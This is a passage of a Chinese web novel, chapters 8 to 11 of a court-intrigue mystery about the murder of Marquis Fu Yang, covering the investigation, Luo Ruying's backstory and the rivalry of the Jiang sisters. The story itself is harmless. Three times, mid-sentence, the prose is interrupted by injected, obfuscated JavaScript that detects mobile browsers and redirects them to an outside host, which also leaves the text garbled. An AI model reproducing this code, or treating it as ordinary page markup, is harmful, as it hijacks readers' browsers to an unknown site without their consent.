听到最后一句,卫明展才反应过来原来是在逗他。
他没有回嘴,只是有些失望:“好吧。太可惜了。看来只能喝多点茶。”
他还是准备通宵达旦找线索。等什么时候身体不行了,就再说吧。
李霁总是忍不住劝别人养护身体:“卫大人今晚还是好好歇息罢。或许破案的灵光会在梦中出现。”
卫明展说:“知道了。等困了,我自然去入寝。”
短暂的闲聊过后,两个人又开始伏案梳理案情,屋内恢复寂静的状态。
8. 回魂和道士
十月廿三日。
齐丰年带回了关于符飏书房中玉壶春瓶仿品的信息。
他去了庆木轩,得知这一仿品出自一个叫赵正的古董店老板之手。据赵正所言,十月十五日晚上,有一位男子到店里来订制了玉壶春瓶的赝品。
赵正记得,那名男子话不多,身量较高,穿着普通,半张脸藏在厚重的围领下,看不清长相,手掌粗糙,似乎是从事平日要干重活的行当。
不过那名男子出手又很阔绰,和他的形象格格不入。
赵正只当这是哪间府上派来办事的伙计。
卫明展听完,说:“符飏是十月十四日最后一次出现在府上。有人在十五日左右去订制了一个玉器的赝品替代掉了书房的真品。其中肯定有问题......”
“不过那个男子是谁?小年,你带着田志几个,去给平康侯府上的所有男子做口供,问清他们十五日的行踪。”
卫明展没想到,这一问,竟然问出问题来。
符飏的贴身护卫龚午在说完自己在十五日的行踪后,回忆起来那天发生的一件事:“府里的赵瓦子在那天向我回报,说他在后院见到了一个男人在假山后一闪而过。他看不清正脸,只记得那人长得很高,看装扮似乎也不是府里的护卫。”
“我听说之后马上带人在府中各处巡逻,但没发现任何踪迹。当时我以为赵瓦子年纪大,眼花的毛病又犯了。”
齐丰年于是找来赵瓦子仔细询问。赵瓦子也没说得出更多有用的信息来。
赵瓦子还神神叨叨:“现在一想,那男的和侯爷体型身高都很像啊......官爷,会不会......我瞧见的,是侯爷的鬼魂......侯爷他过背后,不是还从地府写了信来诉冤吗......”
齐丰年没理他。
赵瓦子忍不住,回去和亲近的人说了一通。接着谣言像浪花一样层层传递,整个平康侯府、乃至外头的人都知道了平康侯府有人目击过符飏的鬼魂出现。
符飏一案被传得愈加玄乎,再次被推上风口浪尖。
卫明展愁得连拔了自己十几根青丝。
“这案我再查不明白,皇上就要把我发配了。”
他定定神,开始分析:“赵瓦子见到的那个陌生男人,和去订制玉壶春瓶赝品的男人,身高相似,又在同一天出现在和符飏有关的地方,很大可能是同一人。”
李霁在旁点头,表示赞同。
卫明展继续说:“这个男人在后院出现,又很快消失,说明他极可能和后院的某个人有关联。”
“怎么绕了一圈,又回到符飏的妻妾们身上。”
*
平康侯府连夜要做一场法事。
请的是凌微子真人。
凌微子和李霁一样,都曾在圣清宫修道。不过凌微子很早便离开了师门,前往各地游历寻道。
他和符飏少年时相识,一直保持着联系,是多年的好友。
符飏失踪时,凌微子正在太素山静修。听闻此事后,凌微子便日夜兼程赶回来,最终却在都城门
口得知了好友的死讯。
今晚的法事,李霁和卫明展也在。
这是个可以观察众人的机会,他们不能错过。
凌微子见到李霁,颔首:“净光师妹。”
净光是李霁的道号。
李霁说:“师兄,别来无恙。”
凌微子面无表情:“我还有事需准备,得空再与你多叙旧。”
李霁微笑道好,和卫明展走到了一旁。
卫明展八卦:“你和他很熟?叙旧?我看这凌微子真人也仪表堂堂,你们不会是......”
李霁打断他:“不熟。”
她补充:“凌微子此人不可小觑,我劝卫大人少接触为好。”
卫明展讨了个没趣:“好吧。我去那边看看。”
他一走,符飏的大女儿符玉心走近到李霁身旁。
两人闲聊了一会,符玉心问:“表姑,您觉得凌微子真人为人如何?”
李霁知道这才是符玉心真正想同自己谈论的事情:“师兄早年便出门游历,我并不了解他。你父亲和师兄是好友,我听闻师兄也常来往侯府,或许玉心你比我见到他的次数还多些。”
符玉心的话辨不清真假:“真人一般都是单独与父亲见面,我也很少见到他。”
李霁说:“我在清圣宫时,听其他人说,凌微子师兄潜心修道,是品行正直的人。”
符玉心脸上露出一丝微不可查的鄙夷。
这逃不过李霁的眼睛。符玉心似乎不喜欢凌微子。
李霁说起另一件事情:“不过就是像师兄这样的人,也犯过错。”
符玉心来了兴致:“什么事?”
李霁现在可以肯定,符玉心讨厌凌微子。
“大约是八岁吧,师兄潜入馆藏的禁区,偷读了一些邪门歪道的书。结果被值夜的师叔发现了,被关了几日禁闭。”
“这样啊”,符玉心语气平淡:“真是一点都看不出来凌微子真人还做出过这种事呢。”
符玉心又问:“表姑,杀害父亲的凶手查到了吗?”
李霁说:“仍在调查中。府中近日还好吗?”
符玉心说:“不好。父亲一心要将平康侯府恢复曾祖时的荣光,如今却中道离世。平康侯府没了侯爷,今后要一蹶不振了。”
“如今只盼小江姨娘肚子里是个弟弟,那样家中的爵位还不至于失落。”
李霁宽慰她:“侯府家大业大,你祖母和母亲都是名门之后,无论如何,日子总会慢慢变好。”
她余光中瞥见凌微子正和卢宴容说话,似乎是在商讨今晚的法事。
卢宴容和符玉心母女样貌相似,神态也如出一辙。李霁很快就发现,卢宴容面对凌微子,面上也隐隐有不喜。
李霁于是问:“玉心,你母亲和凌微子的关系怎么样?”
符玉心抬眼,不解:“母亲和真人平日接触不多。”
是吗?李霁继续看向凌微子和卢宴容两人,试图再找到一点蛛丝马迹。
不过很快法事开场,凌微子从卢宴容身旁离开。此后两人也没有再交流。
*
罗如瑛称身体抱恙,并没有来参与今晚的法事。
等法事结束,李霁单独找到她。
罗如瑛似乎知道她要来,坐在院子里,泡好了一壶茶。
见李霁来,她请她入座。
李霁寒暄:“罗姨娘身体可好些了?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920766|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>罗如瑛笑道:“左不过熬日子而已。哪有好不好一说。”
她开门见山:“我猜郡主和卫大人都已将当年发生的事情查清。”
李霁点头:“贪腐案和围场猎杀案的幕后真凶都是符飏。”
罗如瑛说:“我的丈夫毁了我的一切。”
李霁又说:“但你没有杀他。”
罗如瑛:“当然。我还可以向你担保,我的哥哥和侄女也不是。他们正努力寻求机会为我的父亲翻案。”
“我们虽然是习武的粗人,但也知道杀了他也只能泄愤。我们要的是父亲恢复名誉,要的是符飏和他背后的势力在世人面前被公正地审判。所以罗家不会对符飏动手。”
李霁说:“这些事情为什么不在一开始就告诉我和卫大人?”
罗如瑛说:“我们没能找到更确切的证据,也没有翻案的契机。而卫大人精于断案,郡主你又是皇上跟前的红人。你们能查清真相,也能上呈天听。”
符飏的背后可是五皇子。要翻案就少不了牵扯到他。
李霁看向她:“此事牵扯到皇储之争,你哥哥和侄女位高权重都尚且不敢冒进,你为什么认为我能帮你,我会帮你?”
罗如瑛说:“我只是在赌我们有共同的敌人,而你会因此选择帮助罗家。”
罗如瑛猜测,李霁是襄宁公主一党,她们的对立面,站着所有要欲谋帝位的皇子。
李霁没有马上回答,只是用探究的眼神盯着她看。
罗如瑛比李霁还要年长一些,但此刻被她注视着,罗如瑛心里也不由得揣测,她不是不是猜错了?
李霁虽然和襄宁关系亲近,但李霁并不在朝为官没有实权,襄宁也不向外透露自己要参与夺嫡之争。这两人或许没有谋权的野心。又或许李霁和她的表兄符飏才是一条船上的,此刻不过是来探口风,想知道罗家到底知道了多少。
过了一会,李霁才道:“罗将军聪慧过人。”
罗如瑛暗自松了一口气。李霁是朋友,总比她是敌人好。虽然罗家已经重回旧位,但树大招风,难保不会又引来他人的妒害。
李霁此时问:“如果我们帮了你,罗家会帮我们吗?”
她意指皇储之争。
罗如瑛却摇头,罗家有自己的原则,从不站阵营:“罗家只忠于国家和君主。”
李霁表示理解:“那么起码,罗家不会偏帮他人。”
罗如瑛应允:“自然。”
李霁说:“那么我们就算是朋友了。罗将军的事,我们会尽力而为。”
“关于符飏之死,你知道其他线索吗?”
罗如瑛说:“知道。但我也只能告诉你,这和我父亲的事情,和我们的敌人无关。”
李霁不再追问。
她最后问:“我还有一件事情一直没能想清楚:你最后为什么会愿意嫁给符飏?”
李霁在前日问过她这个问题。罗如瑛那时的答案,是说她要嫁给爱情。
这一次,罗如瑛沉寂了半晌。
“有时候,人会通过加剧一种痛苦来减缓另一种痛苦。”
“那时我成了一个不能用刀剑的废人,无法再征战沙场。我因此终日醉酒。最后我想起来我很讨厌婚姻。刚好符飏一直说要娶我。”
9. 罗如瑛——女将军的落幕
罗如瑛其实从没想过,有朝一日她会嫁给符飏。或者说,她从不期待成为任何人的夫人。
原因也很简单。贤惠的夫人总是顺从而听话的,但罗如瑛不甘心居于人下。
她从小的梦想,是成为一名大将军。
很罕见地,家里人没有批判她不切实际,而是都很支持她。
她的母亲上官嵘,甚至觉得这就是天意。
上官夫人怀着罗如瑛时,恰逢本朝与乌氏开战。她随丈夫去往前线,直到生产的前一个时辰,她还在城墙上焦急地盯着外面的战况,同时见缝插针射杀了几个敌军。
她发动之际,城外的战局也已定——他们赢了。
上官嵘喜极而泣,她在战场之中诞下的女儿,与胜利同生。
这是罗如瑛见证的第一场胜利,上官嵘相信,女儿在未来,还会创造许许多多场胜利。
罗家驻扎北方,罗如瑛从小混在军营中,经常和将士们切磋。
她一开始总是输。
将士们带着取笑的语气说:“大小姐或许更适合绣花。”
罗如瑛更加努力练习武艺,和哥哥吃一样多的东西,慢慢变得强壮。
她先是打赢了一位和她同龄的小兵,后来又赢了千户长。
将士们开始正视她:“大小姐厉害啊。”
罗如瑛十一岁时,就开始和父亲罗亮征战沙场。
当然,刚开始时,她只被允许在后方更安全的地方做些后勤工作。
到了十三岁,她带着十人小队完成了罗亮交给她的第一次任务。敌人猩红的血迹溅到身上,灰扑的沙砾浸入耳鼻。罗如瑛觉得心脏都要跳出来,很久都不能平静。
往后她赢过很多场战役,但她却再也没有过像那天一样强烈的感觉——或许母亲说得没错,她属于战场。
她有时候输,大多时候都赢。
卡达城之战,是打败乌氏的关键战役。趁夜,罗如瑛率领百人突袭,由内打开了达卡城大门,城外军队一拥而至,不消数刻便占领达卡城,直逼乌氏首都。
皇上封赏的圣旨降下来。
庆功宴上,将士们大声喊着罗如瑛的新官职:“罗将军!罗将军!”
篝火冲天,映得罗如瑛的脸庞神采奕奕。
*
在军队里惯于不拘小节,罗如瑛刚回到都城,还不太适应。
她也懒得再去学习贵族小姐应有的做派。反正她总是要回到军中的。
所以罗如瑛的风评呈现极端化。有人认为她是英雄,有人觉得她抛头露面十分丢脸。
综合起来,应该没有男子会喜欢她才对。很少有人想要娶回一个强势而健壮的妻子。
符飏是例外。
他们相识在一场围猎中。罗如瑛拔得头筹,符飏是第二。
这位平康侯世子没有像罗如瑛预料地那样气急败坏,而是虚心像她请教武艺和马术。罗如瑛在都城无事,也就答应了。
两人就这样常常见面。符飏醉酒后向罗如瑛诉衷肠,他说他一直佩服罗如瑛,他想像她一样去保家卫国,他觉得她很特别,他说他爱上了她,他愿意放弃一切,和她一起去漠北。
平心而论,符飏年轻,又有一副好皮囊,家世清白,行为端正,能文能武,不失为一个好选择。
而且他足够理解罗如瑛的追求。
罗如瑛对他有了些好感。
但她知道,符飏怎么可能离开这里。他是平康侯世子,家中已有夫人,未来还要担起家族的责任。
所以罗如瑛听了他的话,笑了笑,也没放在心上。
符飏却不肯罢休,他比之前更频繁地缠着罗如瑛。罗如瑛在哪里,他就在哪里。很快,平康侯世子单恋女将军的闲言就传遍全城。
和符飏相熟的公子哥笑他自讨苦吃,是个十足十的大傻子。罗如瑛有什么好的?母夜叉一个。娶回家肯定不得安宁。
符飏却回击他们,说他们目光短浅,罗如瑛勇敢善良,不知道会是个多好的夫人。要是能娶到罗如瑛,是他符飏三生有幸。
这些事情传到罗如瑛的耳朵里,她觉得符飏能这么说,还是很感人的。不过还是算了,她不想做夫人。
她准备准备,就要回到军营里了。
意外却在这时发生。
又是一场围猎。她策马追随一头熊入了林子。
正当拉弓瞄准时,三十余个刺客从四面八方蹿出来,锋利的刀剑直指罗如瑛的要害。
罗如瑛把弓箭转向,利落地解决了较近的几个刺客。
接着她翻身下马,和刺客搏斗。
罗如瑛估算着自己一刻钟就能解决完。
但她错了。
她的心头忽然绞痛,吐出一口鲜血,眼前景象模糊一片——她没有受外伤,也没让刺客接触到自己,但她中毒了。
来不及思考是什么中了毒,她急忙用匕首在手臂处划一道伤痕,试图让自己清醒。
她吊着一口气,心里想着她就算死了也要让这群刺客陪葬。
杀得差不多时,符飏忽然之间出现了,像姗姗来迟的天降救兵。
他边焦急地喊着她的名字,边杀退还想上前来的两个刺客。
撑着看见剩余的刺客全都倒地,罗如瑛失去了意识。
她再醒来时,发现全家都围在床边。
医师说,她手脚筋断裂,能不能正常行走都是问题,更别说练武了。
她成了一个废人。
罗如瑛很长时间都不敢相信这是事实。
在危机四伏的战场里她都安然归来,结果竟然被一些刺客打倒了?
这太不真实了。
她不能再上战场。可是她作为将军的人生才刚刚开始,可是漠北的战事还没有完全结束。
那她活着的意义是什么?
她想了很久,还是想不清楚。
很不幸地,罗如瑛开始酗酒。
符飏倒是一直陪在她的身旁,他不停地告诉她,他永远会爱她,永远会当她的后盾。他会给她平妻之位,他会当她的夫君,他们会白首不相离。
有一天他又问:“如瑛,你愿不愿意嫁与我?”
罗如瑛目光无神,同意了。
她对自己说,符飏多好啊。她本来也挺喜欢他。嫁给他,后半生能有一个很好的伴侣。
只有在梦里,她才能听见自己最真实的想法——
嫁给符飏,她就顺理成章不用再出门、不用见到她在军中的家人和朋友、也不用去面对她是个没有用的人的事实。
她会成为她曾经最不想成为的人。
她会余生都困在宅院里,可以一遍又一遍自我折磨。
*
嫁入平康侯府的第一年,罗如瑛的日子过得还算不咸不淡。
符飏对她一如既往地好。
侯府的另一位夫人,卢夫人,对她也不错,从不刁难她。
卢夫人的六岁女儿符玉心,因为好奇,跑来罗如瑛的院子里。
小女孩知道这位罗夫人从北疆回来,曾经是将军,所以总是央求罗如瑛说一些外头世界的事情。
罗如瑛刚开始不愿意回忆,敷衍着说了一些。她没有料到的是,面对求知若渴的符玉心,她到了后面越说越多,越说越认真。
后来卢夫人也经常和女儿一同到访。母女二人都很乐意听罗如瑛的故事。
符玉心有一天说她想变成强壮的人,她想学武。罗如瑛犹豫了一会,还是为此罕见地联系了旧部,为符玉心找了一位师傅。
符玉心练习得很勤奋,罗如瑛有时候也会在旁指导。
但触景生情,见到兴致勃勃练武的女孩,罗如瑛免不了又想起自己的过去,暗自伤感。
卢夫人知道罗如瑛心底里总归向往自由,所以给她送来了一些游记和其他书籍,希望她借此舒缓情绪。
后来卢夫人还鼓励她写作:“如瑛,你去过那么多地方,赢过那么多战役,为什么不把这些都写下来?你可以写北疆的风土人情,可以写制胜的策略战术,还可以写练武的指导书册。或许身处和平之地的人们能从中看到不一样的世界,或许征战沙场的战士能学到一些有用的知识,或许某个像玉心一样的小孩能变得有力量。”
罗如瑛表面上觉得这都是无谓之举。但她的内心里,有什么东西正在生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920767|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
根发芽。或许她真的能变得有用起来?
罗如瑛觉得卢夫人像她从来没有过的姐姐。
她对卢夫人一直心怀愧疚。她有一次问卢夫人会不会恨她在他们的婚姻里横插一脚?
卢夫人摇头,笑着说:“不会。如瑛,没有你,也会有其他人。”
除了卢夫人母女,罗如瑛的父亲母亲、哥哥嫂子和侄女,都会时不时地给她写信,或者来看她过得怎么样。
她慢慢开始接受她目前的身份和现状。她甚至拿起笔,计划着写一些什么。
可事与愿违,她平静的生活还是被打破了。
第二年,罗家出了事。罗如瑛的父亲罗亮被告贪腐,面对不知道从哪里来的铁证,他最终选择以死明志,而剩余的家人皆被流放南疆。
罗如瑛是后宅里的女人了,她什么也做不了。
差一点点,她就要自刎而死,想要追随父亲而去。
是侍女萍儿和卢夫人母女尽力阻止了她。
母亲上官嵘离开都城之前,见了罗如瑛一面。
她要她一定活下去,一定要平平安安地活到见到罗亮清白得证的那一天。
再度心死的罗如瑛这么多年苟延残喘,全凭着这点念想。
*
在罗家出事之后,罗如瑛也去请过符飏帮忙。她当时想,毕竟他还是她的丈夫,应该不至于一点情分都不顾吧。
但那天,她第一次在她的丈夫脸上看见了不耐烦,他拒绝了她的请求。
到后来,她又见到了他自负、暴躁、挑剔、唯利是图、高高在上的藏在他那张善人面庞后的其他模样。时间再长些,罗如瑛连符飏都很少能见到了。
她成了平康侯府不受宠的二姨娘。
不要紧。
这样她有了更多的时间,去查清贪腐案背后的真相。
这是一个很艰难的过程。她没有一具健康的身体,没有可以动用的资源,终日都要被困在这处宅院中。
扑朔迷离的案件,数不清的仇家,让她感到无从下手。
她开始读更多的书,学着了解都城错综复杂的政治关系。
罗如瑛后来发现,罗家倒台,最大的受益者是五皇子。
而五皇子最得力的同盟之一——是符飏。
她感到浑身发冷。
罗如瑛又试着去找证据,只可惜她再也得不到符飏的喜欢,没办法从他嘴里问出什么来。
再等等吧。她说服自己要耐心,要学会隐藏。
*
顺宏廿四年,罗家重新被启用。
罗如瑛的侄女罗定之告诉她,事情的背后主使,确实很可能是符飏。
这次罗如瑛很快找到了证据。
这其实是意外之喜。
罗定之担心罗如瑛,在她身边安插了两个暗卫。正是暗卫发现了符飏的亲信凌亥正在秘密调查罗如瑛。
罗如瑛决定静观其变。
不日,符飏忽然派凌亥启程去荔山。这时罗如瑛下令让暗卫在城外抓住凌亥。
她没了武功,但还没忘记在漠北审问间谍的方法。
凌亥很快把所有的事情都招了。包括符飏设计了围场刺客、和陷害罗亮的事情。
原来种种,皆是出自符飏之手。
原来她同仇人定情,同虎狼共枕。
罗如瑛觉得自己愚蠢,但不觉得意外。甚至她觉得一切都变得合理。围场狩猎前,她接触的人不多,其中就包括符飏。当时她对符飏不设防,他是最可能给她下药而不让她察觉的人。
不过仅仅只有凌亥一个人证,还不能将符飏定罪。
除此之外,罗如瑛还得知了其他事情。
符飏不只在调查她。他在调查他所有的妻妾有没有情夫。而凌亥得力,已经调查出了一些事情。
得知符飏调查的动机,罗如瑛不由得发笑。原来妻妾外室成群的人,也会觉得出轨是极大的背叛,是不可饶恕之罪。
思考过后,罗如瑛先将凌亥囚禁。同时让他按时写信给符飏报告,以免符飏发现不对。
她在等待一个时机,她要让符飏和背后的人陷入万劫不复之地。
10. 是姐妹也是敌人
十月廿四日。
李霁早早去大理寺,和卫明展说了昨晚她与罗如瑛见面一事。
她隐藏掉一些信息,只告诉他,罗如瑛虽然恨符飏,但罗家不会对符飏动私刑,他们更希望符飏受审,还罗亮清白。罗家人要么没有能力,要么没有时间,动机目前也不充足,他们与符飏案无关。
李霁认为卫明展应该专注于其他线索。
卫明展说:“不无道理。我也查到,罗家人确实正在努力搜集罗亮案的其他证据,意在重启调查。其实符飏只算是反腐案的中间人,这个时候杀了他,反倒不容易翻案。”
说完他又狐疑地看着她:“但我怎么感觉不对劲啊。罗如瑛为什么对你这么坦诚?你又为什么会相信她的话?”
卫明展想起皇室那些肮脏的手段:“郡主你不会威胁她了吧?”
李霁面不改色:“我没有能力威胁罗家人。罗如瑛只是希望,我们如果有机会,能够将罗将军案的真相公之于众。”
卫明展则信誓旦旦:“这事当然要做。她觉得我不敢干吗?等我将证据完善,我定会面见陛下,把里头的嫌犯通通查一遍。”
要为罗亮翻案,必然少不了查符飏、查五皇子。后者大权在握,可是储君之位的候选人,卫明展查他,真的不怕出师未捷身先死?
李霁愿意帮罗家,一方面是因为罗如瑛——披甲胄的女将军让十二岁的李霁看见了未来更多的可能性,她对她而言曾经是一个太特别而重要的存在,李霁希望她得偿所愿,但更多的,是因为这是一个可以重创五皇子的机会,对李霁而言利大于弊。但卫明展图什么?
她问:“卫大人真的想好了?此案牵连甚广,一旦彻查,必然掀起腥风血雨,保不准你我都会身败名裂。”
卫明展却笑,无所谓地耸肩:”那又如何。不是我给自己贴金,但那句话怎么说来着......哦,朝闻道,夕可死矣。身为执法者,如果是因惩治不公而死,我也乐得其所。”
李霁生在勾心斗角的皇室,自小养成审时度势的谨慎性格,她不会做对自己不利的事情。对于她而言,卫明展这样不惧权势的愣头青很少见,很新鲜。
她似乎明白皇帝为什么会重用卫明展——朝中一潭死水,确实需要有人出现来搅动风云。
她说:“卫大人,如有用得上我的地方,尽管说。”
卫明展马上就说:“你别说,现在还真有。你对四姨娘江令真了解吗?”
李霁已经习惯了卫明展跳跃的思考方式,也很快把注意力转回到符飏案上来:“四姨娘?她有嫌疑?”
卫明展说:“昨晚我在平康侯府中,去找了小厮们闲聊,再次告诉他们大理寺重金征求线索。接着有一个小厮找到我,说他外出采买时,看到过江令真和一个男子在酒楼的隔间中行为亲密。被发现之后,江令真还花了重金,让那位小厮别说出去。”
他说:“江令真,疑似有情夫。”
在面对面找江令真质询之前,卫明展决定先掌握足够多的信息。
李霁发挥了很大的作用。
她对于都城之中发生的事情,尤其牵扯到各家后宅,可以说是了如指掌。
三姨娘江照月和四姨娘江令真是同父异母的姐妹。
她们的父亲江恪出身寒门,十年寒窗苦读,进士登科,春风得意,还娶到了凌河崔氏的二小姐崔熙。
江恪和崔熙成婚的第二年,江恪的表妹田珍绸拿着从前两家的婚约找上门来,成为了江恪的妾室。田珍绸和崔熙先后怀孕,在同一年分别生下江照月和江令真。
江恪当年官至礼部侍郎。但在江家姐妹七岁左右,江恪因牵扯进一桩大案,被贬谪至南疆,到一个叫荔山的地方做县令。
崔熙在荔山怀上了第二个孩子,但最后难产,一尸两命。
田珍绸顺理成章成了江家的夫人。江恪此后没再纳妾。
直到去年二月,江恪重新被调回都城,任六品朝议郎。
四月,姐姐江照月嫁入平康侯府成为三姨娘,在十一月生下女儿符锦心。虽然侯府对外宣称二小姐锦心是早产儿,但知道许多人都知道,江照月在婚前就已经怀上了符飏的孩子。
事情还不止如此。
就在江照月成为平康侯府三姨娘的一个月后,江令真从家里搬出去,做了符飏的外室。
卫明展:“江令真是自愿成为符飏的外室吗?”
李霁说:“是。”
卫明展又问:“江令真受宠吗?”
李霁说:“江令真貌美聪慧,符飏十分喜欢她。刚成婚时,他一个月中有大半个月都宿在江令真的别院内。姐姐江照月因此而被冷落。”
卫明展道:“江令真和自己的姐夫成了情人......江照月应该很讨厌这个夺走了自己丈夫的妹妹吧?”
李霁却说:“真要算起来,其实是江照月''抢走''了本就属于江令真的姻缘。”
“......怎么说?”卫明展不解。
“江令真最先和符飏认识。纪国公主的赏花宴上,江令真以一首咏兰诗艳惊四座,也由此得到符飏的注意。江令真此后常常和符飏往来,两人情投意合,符飏几乎就要上门提亲,纳江令真为妾。”
“但符飏先和江照月发生了关系,并且江照月怀上了孩子。符飏最后还是去了江家提亲,但却是要纳江照月。”
卫明展听完有些唏嘘。
“那么江令真很爱符飏吗?最后竟然甘愿当外室。”
“或是她那样恨江照月,以至于一定要与她争一个高低?”
李霁不置可否:“她们两姐妹之间的关系很复杂。”
卫明展又问:“江令真是怎么从外室变成了四姨娘?”
他说完又记起来:“哦是因为她怀孕了。”
李霁却说:“其中还有一段故事。”
“昔日江令真成了符飏的外室,恩爱日子过了几个月,就被符飏休弃了。原因是,符飏想求娶黄宗将军的女儿黄芝霖做平妻,而黄小姐不喜欢他有外室。所以符飏遣散了所有的外室,其中也包括江令真。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920768|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后来符飏追求黄芝霖未果,又同江令真重归于好。加之江令真有孕,符飏便娶了她做四姨娘。”
“就这样,江家姐妹两人都入了平康侯府。”
卫明展讶异:“这两姐妹都是未婚先孕,靠着孩子入府?走的路还真是相似。”
李霁说:“是。并且江家姐妹入府后也争端不断,两人的这些事曾一度成为后宅里茶余饭后的谈资。特别是江令真,人生跌宕起伏,高门之女被流放南疆,历经数十年回到都城,马上陷入和姐妹争夺丈夫的境地里,接着从被宠爱的侯爷外室到无处落脚的落魄弃妇,最后居然还能卷土重来......不得不说她心性极其坚韧。”
卫明展点头:“确实。”
李霁问他:“江令真的情人是谁?可有查明?”
卫明展回答:“撞见江令真和男人私会的小厮认得他。那男人名叫贺钰,前工部侍郎贺以烨的第六子。江令真父亲江恪还在都城任职时,贺家和江家是邻居。江令真和贺钰从小认识,称得上一句青梅竹马。江家回到都城,两人又重新有了联系。”
“不过”,卫明展说:“贺钰六月就已经死了。”
贺钰去年去往西南剿匪,今年年初班师回朝,因杀死龙虎寨首领有功获封五品怀化郎将。
但在六月初,贺钰被查出冒用了同行将官谢录的功绩——龙虎寨首领其实是谢录所杀。
当时攻打龙虎寨,贺钰所在小队在后山埋伏。但等龙虎寨匪徒出现之后,贺钰却因害怕而临阵脱逃,趁乱离队。在外头待了一阵,他算着时间,认为战事快要结束,于是往回走。
在途中,贺钰碰见了拎着龙虎寨寨主首级的谢录。贺钰嫉妒心起,恶从胆边生,接着借口送负伤的谢录回营,却在身后偷袭杀死谢录,抢夺寨主首级。等回营之后,贺钰大言不惭,向众人说这是自己所得。
此事被揭发后,贺钰入狱服刑,不久之后自杀身亡。
李霁道:“那如此说来,贺钰不可能杀了符飏。时间上对不上。”
卫明展说:“符飏确实不可能是被贺钰所杀,但贺钰却因符飏而死。”
他接着说:“我调阅了卷宗,发现贺钰的罪行之所以被发现,是因为有人匿名写信检举。我打开了那封信件,一看那字迹,虽然特地写得潦草,但字里行间看着十分眼熟。我怕我看走了眼,还叫来小齐看看,他得出的结论也是一样的。郡主你猜是谁写的检举信?”
话都说到这个份上,还能有谁?李霁也知道卫明展就爱自问自答,于是不作声,让他发挥。
果然下一秒卫明展神情激动:“是符飏!是符飏检举了贺钰的罪行,以致其入狱身死。”
李霁明白了:“贺钰是江令真的情夫,又因符飏而死。所以你怀疑江令真是为了替情夫报仇,杀了符飏?”
她问:“可是她怀着身孕,又不会武功,怎么对符飏下手呢?”
卫明展说:“你提出了一个好问题。目前只能说江令真有嫌疑。“
“更多的内情,我想我们得去找她当面问问。”
11. 狂徒是狂徒吗
平康侯府。花林院。
这是三姨娘江照月的居所。“花林”二字这还是符飏生前亲自定下。月照花林——住处和主人的名字交相辉映,意境极美。
此刻在屋内,三姨娘和四姨娘,这对经常吵得不可开交的姐妹居然坐在一起喝着茶。
江照月看向一旁正在熟睡的女儿,脸上露出慈爱的笑容。
但忧愁很快爬满她柔丽的脸庞。
她发愁:“这样平静的日子,我们还能过多久?”
江令真不以为意:“过一天算一天。再怎样,也不会比之前更差。”
她又说:“你怕什么。你还有后路,我什么都没有。”
江照月不满意:“什么你你我我的。我们是一根绳上的......什么虫子来着......反正我们做的那些事,要是被发现了,谁都逃不掉。”
她很懊悔:“都怪我。我太笨了......”
自从崔熙死后,江令真和江照月之间很少有和睦相处的时候。
江令真认为田珍绸和江照月母女夺走了自己的父亲,对她们从来没有好脸色;江照月则认为江令真不可理喻,是个不好接近的奇怪妹妹。
但此时江令真说:“不怪你。要怪就怪,我们都时运不济。”
虽然语气中夹杂着不自然和别扭,但不能否认她在尝试安慰自己的姐姐。
江照月很感动:“谢谢。”
她紧接着祈求上苍:“老天爷,千万千万要保佑我们不被发现......”
*
傍晚时分,李霁和卫明展来到平康侯府的萱兰院——江令真住在此处。
他们走进去,目之所及多是兰花,其中不乏雪兰这类名贵品种。
江令真喜爱花卉,尤其是兰花,符飏便搜罗来这一院兰花供她欣赏。李霁想,这足以说明他生前十分重视江令真。
江令真正坐在亭子内沏茶,邀请李霁两人入座。
李霁微笑,客套:“我们此次前来,是想向你了解一些问题。”
卫明展开门见山:“四姨娘,你的情夫是谁?”
面对这么直白的询问,江令真倒茶的手肉眼可见地一抖。
她露出不可置信的神色:“卫大人,你明不明白这样的指控对于一名女子而言意味着什么?!”
“我当然明白”,卫明展说:“所以我会给你一个辩解的机会。五月廿七日,有人曾经看见你在天下第一楼和一位男子拉扯。那名男子是谁?你们是什么关系?”
江令真镇定下来,眼神还是忍不住飘忽:“我不记得有这么一件事。”
卫明展没管:“那名男子,是不是贺钰?”
“他?”江令真却面露疑色:“和他有什么关系......”
卫明展自顾自说:“贺家曾经和你们家是邻居。你和贺钰从小就认识。去年,你父亲重新被调回都城。你和贺钰重新见了面。恐怕你们的私情,从那时便开始了吧?”
江令真却摇头:“我不否认当时贺钰对我有男女之情,但我明确拒绝了他。”
“是吗?好吧,那我就当你在去年确实拒绝了他。在你被符飏休弃的那段日子里,你和他的关系有变化吗?”
